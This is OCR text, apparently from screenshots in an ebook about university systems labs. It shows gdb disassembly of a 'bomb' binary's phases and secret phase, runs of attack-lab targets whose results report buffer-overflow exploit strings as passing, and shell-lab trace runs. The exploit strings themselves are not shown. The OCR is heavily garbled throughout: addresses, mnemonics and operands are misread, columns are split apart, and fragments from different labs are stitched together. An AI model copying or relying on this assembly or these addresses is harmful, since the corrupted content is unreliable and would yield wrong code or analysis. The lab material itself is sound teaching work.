which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going

Halfway there!
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-bash-4.1% ./tsh

tsh> salkdfjslkj sadlfj lksafd
tsh> quit

-bash-4.1$ |}
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-bash-4.1% gdb bomb
GNU gdb (GDB) 7.6

Copyright (C) 2013 Free Software Foundation, Inc
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty” for details.

This GOB was configured as "x86_64-unknown-11nux-gnu" .

For bug reporting instructions, please see:

<http://www.gnu.org/sof tware/gdb/bugs/>. . .

Reading symbols from /afs/andrew.cmu.edu/usr3/dawang/513/bomb114/bomb
(gdb) break_explode_bomb

Breakpoint 1 st 8x4B17e4

(gdb) break phase_1

Breakpoint 2 at 6x400fbo

(gdb) I
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(gdb) disas
Dump of assembler code for function phase defused:
=> 0x0000000000401822

6x0000000000401826

<+0>:
<>t

<4135
<+18>:

<+39>:
<+aa
49>

6x0000000000401913
6x0000000000401918

<+138>:
143>
<+148>:
<+153>:
<+162>:
<+164>;
<+169>:
<+173>:
<+178>

9x0060800006481950

$6%78,%rsp

%f5:6x28. %rax

rax, 6x68 (%rsp)

eax Xeax

$6x1, %ed|

x4015¢8 <send_nsg>
$0x6,6x203d55 (¥ {p) # Bx60561c <nun_input_strings>
0x401936 <phase_defused+148>
616 (%rsp)  %r8

Oxc(¥rsp) frex

xB(Krsp) Krdx

$6x402020, %es {
$6x605730, %ed |

0x409cbO <_150c99_sscanf@plt>
$0x3 %eax

6x401922 <phase_defused+128>
$6x402ba9, Kes |
0x10(%rsp) Krd|

<puts@plt>

406030 <putseplt>

$6x0, Seax

callq 0x40i3ab <secret_phase>
$0x462038, %ed |

x400bd0 <putseplt>

mov  OX6B(%rsp) Srax
Xor  %f5:0x28 %rax

Je  @x40194b <phase_defused+169>
callq 0x400bf8 <_stack_chk_failepit>
add  $6x78,%rsp

nop
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P83 AT

e
syscall % izl

cmp \l I
R[]
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(gdb) disas

Dump of assembler code for function phase_1:

=> 0x0000000000400fb0
0x0000000000400fb4
0x0000000000400fb9
0x0000000000400fbe
0x0000000000400fCO
0x0000000000400fc2
0x0000000000400fc7
0x0000000000400fcb

End of assembler dump.

(gdb)

<+0>:
<+4>:
<+9>:

<+14>:
<+16>:
<+18>:
<+23>;
<427>:

sub
mov
callg
test
je
callq
add
retq

$0x8,%rsp

$0x402710, %esi

0x401430 <strings_not_equal>
%eax, %eax

0x400fc7 <phase_1+23>
0x401704 <explode_bomb>
$0x8,%rsp
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(gdb) disas

Dump of assembler code for function phase_6:

> 9x000000000040122C
©x000000060046122¢
©x000000000040122
©x0000000000461238
©x0006800660461234
©x0000900000461237
©x600680066646123C
©x08006000000461241
©x6006800680461243
©x0006000600401246
©x0006800660461249
©x000080000046124C
©9x000000000046124f
©x0006800600461251
©xB006800680461256
©x0006000000461252
©x000600066046125d
0x0000000000461266
©9x0000000000461262
©x0000800000461265
©x06006000000461268
©x000000000046126b
©x000000000048126d
©x0006800000461272
©x0000000000461275
0x0000000000401278
©x06000000600461272
©x000000000046127d
©x0000000000461288
©x0006000600461282
©x8006000600461287
©x0000000000461289
©x000690060046128d
0x00000000004612968
©x0000000000461292
©x0006000000461297
©8x000600000048129¢
©x000000000040129F
©x0000000000461222
0x0000000000401234

<+8>:
<2>:
<+3>:
<>t
<+8>:
<#11>:
<+16>:
<#21>:
<#23>:
<#26>:
<429>:
<4#32>:
<+35>:
<#37>:
<+42>:
<+46>:
<+49>:
<#52>:
<+54>:
<#57>:
<+60>:
<+63>:
<+65>:
<+78>:
<73>:
<+76>:
<+78>:
<+81>:
<+84>:
<+86>:
<#91>:
<493>:

<+115>
<+118>
<+120:

push
push
push
sub
mov
callg
mov
jmp
movslq
mov.
sub
cmp
jbe
callg
lea
mov
movslg
jmp
movslg
mov
cmp
jne
callg
add
cmp
jle
mov
cmp
jle
mov
jmp
mov
add
jmp
mov
mov
movslq
cmp

g
movslq

%12
%rbp

%rbx

$6x50,%rsp

%rsp.¥rsi

€x481732 <read_six_numbers>
$8x8, %ebp

6x48127d <phase_6+81>
%ebp, %rax
(%rsp.%rax.4) %eax
$8x1,%eax

$8x5, Xeax

6x401256 <phase_6+42>
€x481784 <explode_bomb>
x1(%rbp) , %r12d

%r12d, %ebx

%ebp,%rbp

6x491275 <phase_6+73>
%ebx, %rax
(%rsp.%rax,4) %eax
%eax, (%rsp.%rbp.4)
6x491272 <phase_6+70>
6x481704 <explode_bomb>
$6x1, %ebx

$6x5, %ebx

6x491262 <phase_6+54>
%r12d,%ebp

$6x5,Xebp

€x401243 <phase_6+23>
$6x8, %esi

€x4012af <phase_6+131>
6x8(%rdx) ,%rdx
$0x1,%eax

8x481297 <phase_6+115>
$0x1,%eax

$6x684300, %edx
%esi,%rox

Zeax, (¥rsp.¥rcx,4)
6x481289 <phase_6+93>
%esi,%rax
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(gdb) run
Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/bomb114/bomb ./s0l. txt
Welcome to my fiendish little bomb. You have 6 phases with

which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

So you got that one. Try this one.

Good work! On to the next...

Curses, you've found the secret phase!

But finding it and solving it are quite different...

Wow! You've defused the secret stage!

Congratulations! You've defused the bomb!

Your instructor has been notified and will verify your solution.

[Inferior 1 (process 23168) exited normally]
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-bash-4.1$ ./runtrace -f trace@@.txt -s ./tsh

: trace@0.txt - Properly terminate on EOF.
fbash-4.1$ ./runtrace -f trace0@.txt -s ./tshref
: trace@0.txt - Properly terminate on EOF.
fbash-4.1$ ./runtrace -f trace@1.txt -s ./tsh

: trace@1.txt - Process builtin quit command.
fbash-4.1$ ./runtrace -f trace@l.txt -s ./tshref
§ trace@1.txt - Process builtin quit command.
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-bash-4.1% ./rtarget -i p5r.txt

Cookie: 0x45374fee

Touch3!: You called touch3("45374fee")

Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
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(gdb) run

Starting program: /afs/andrew.cmu.edu/usr3/dawang/513/bomb114/bomb ./sol.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!

Phase 1 defused. How about the next one?

That's number 2. Keep going!

Halfway there!

So you got that one. Try this one

Good work! On to the next...

Curses, you've found the secret phase

But finding it and solving it are quite different..

Breakpoint 2, 0x009000000940134b in secret_phase ()
(gdb) disas
bump of assembler code for function secret_phase

=> 0x000000000040134b <+0>: push  %rbx
0x000000000040134¢c <+1>: callq 0x40177c <read_line>
0x0000000000401351 <+6>: mov. $0xa, %edx

0x0000000000401356 <+11>:  mov  $0x0,%es
0x000000000040135b <+16>:  mov  %rax,%rdi
0x000000000040135¢ <+19>:  callq ©x400c80 <strtol@plt>
0x0000000000401363 <+24>:  mov  %rax,%rbx
0x0000000000401366 <+27>:  lea  -Ox1(%rax),%eax
0x0000000000401369 <+30>:  cmp  $Ox3e8,%eax
0x000000000040136e <+35>:  jbe  x401375 <secret_phase+42>
0x0000000000401370 <+37>:  callq ©x401704 <explode_bomb>
0x0000000000401375 <+42>:  mov  %ebx,%es
0x0000000000401377 <+44>:  mov  $60x604120,%ed
0x000000000040137c <+49>:  callq 0x40130d <fun7>
0x0000000000401381 <+54>:  cmp  $OX5,%eax
0x0000000000401384 <+57>:  je 0x40138b <secret_phase+64>
0x0000000000401386 <+59>:  callq ©x401704 <explode_bomb>
©0x000000000040138b <+64>:  mov  $0x402828,%ed
©0x0000000000401390 <+69>:  callq ©x400bd0 <putseplt>
0x0000000000401395 <+74>:  callq ©x4018a2 <phase_defused>
0x000000000040139a <+79>:  pop  %rbx
0x000000000040139b <+80>:  retq

End of assembler dump.
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-bash-4.1% ./ctarget -i plr.txt

Cookie: 0x45374fee

Touchl!: You called touchl()

Valid solution for level 1 with target ctarget

PASS: Sent exploit string to server to be validated.
NICE JOB!
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(gdb) x /20w Bx5568f2d8

8x556812d8:
0x55602e8:
0x5560f2f8:
0x55601308:
8x55601318:

8x00726223
0x55685fe8
0x0040198a
0x00000009
8x00000000

8xdb859182
8x80000008
0x00000000
0x00000000
0x00060000

0x5560f218
©x00006683
0x55586000
0x00401194
oxfafafafa

8x06000000
8x00000000
0x00000000
0x00000000
oxfafafafa
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-bash-4.1% ./ctarget

Cookie: 8x45374fee

Type string:dawanggogogo

No exploit. Getbuf returned 6x1
Normal return
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0000000000400670 <main>:

83 ff 01
75 10

48 8b 05
48 89 05
eb 63

48 89 13
83 ff 02
75 32

48 8b 7e
be a4 26
8 34 fe
48 89 05

push
cmp
jne

8b 47 20 00 mov
9c 47 20 00 mov
imp
mov
cnp
Jne
08 nov
40 00 nov
o ff callg

7d 47 20 80 mov

wrbx
$0x1, %edi
460eB6_<nain+0x16>
0x20478b (%rip)  rax
Arax, 0x20479¢ (hrip)
400ee9 <main+0x79>
Arsd, Arbx

$0x2, Aedi

400ecB <mainsoxse>
0xB(Arsi), wrdi
$0x4026a4, %es 1
460cd0 <fopengplt>
%rax, 0x20477d (%rip)

# 605608 <stdin@EGLIBC_2.2.5>
# 605620 <infile>

# 605620 <infile>
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(gdb) x/s 0x402b56
0x402b56: "%d %d"





OEBPS/Images/82daa928a57eba7ccf17d80c34d1719e.jpg
(o Jo[ oo <5 o] T
A [o]1[2[o]4[s]6]7] WEES
=)

S=2 [ag Jo[+]2]a]¢]s]e]7]






OEBPS/Images/e64b632f1f7f788eedad27b1db0e04cb.jpg
Phase 1 defused. How about the next one?
abcd

Breakpoint 3, 8x0000000000400fcc in phase_2 ()
(gdb) disas
Dump of assembler code for function phase_2:

=> 0x0000000000400fcc <+0>: push  %rbx
0x0000000000400fcd <+1>: sub $6x20,%rsp
0x0000000000400fd1 <+5>: mov %rsp,%rsi
0x0000000000400fd4 <+8>: callq ©x40173a <read_six_numbers>

0x0000000000400Fd9 <+13>: cmpl  $0x1, (%rsp)
0x0000000000400fdd <+17>: je 0x400fed4 <phase_2+24>

0x0000000000400fdf <+19>: callq ©x401704 <explode_bomb>
0x0000000000400fe4 <+24>: mov $6x1,%ebx
0x0000000000400fe9 <+29>: jmp 0x401005 <phase_2+57>
0x0000000000400feb <+31>: movslq %ebx,%rdx
0x0000000000400fee <+34>: lea -0x1(%rbx) ,%eax
0x0000000000400ff1 <+37>: cltq

0x00000000004007f3 <+39>: mov (%rsp,%rax,4) ,%eax
0x0000000000400f6 <+42>: add %eax,%eax
0x00000000004007f8 <+44>: cmp. %eax, (%rsp,%rdx,4)
0x0000000000400ffb <+47>: je 0x401002 <phase_2+54>
0x0000000000400ffd <+49>: callq ©x401704 <explode_bomb>
0x0000000000401002 <+54>: add $0x1,%ebx
0x0000000000401005 <+57>: cmp $0x5, %ebx
0x0000000000401008 <+60>: ile 0x400feb <phase_2+31>
0x000000000040100a <+62>: add $0x20,%rsp
0x000000000040100e <+66>: pop %rbx

0x000000000040100f <+67>: retq
End of_assembler dump.





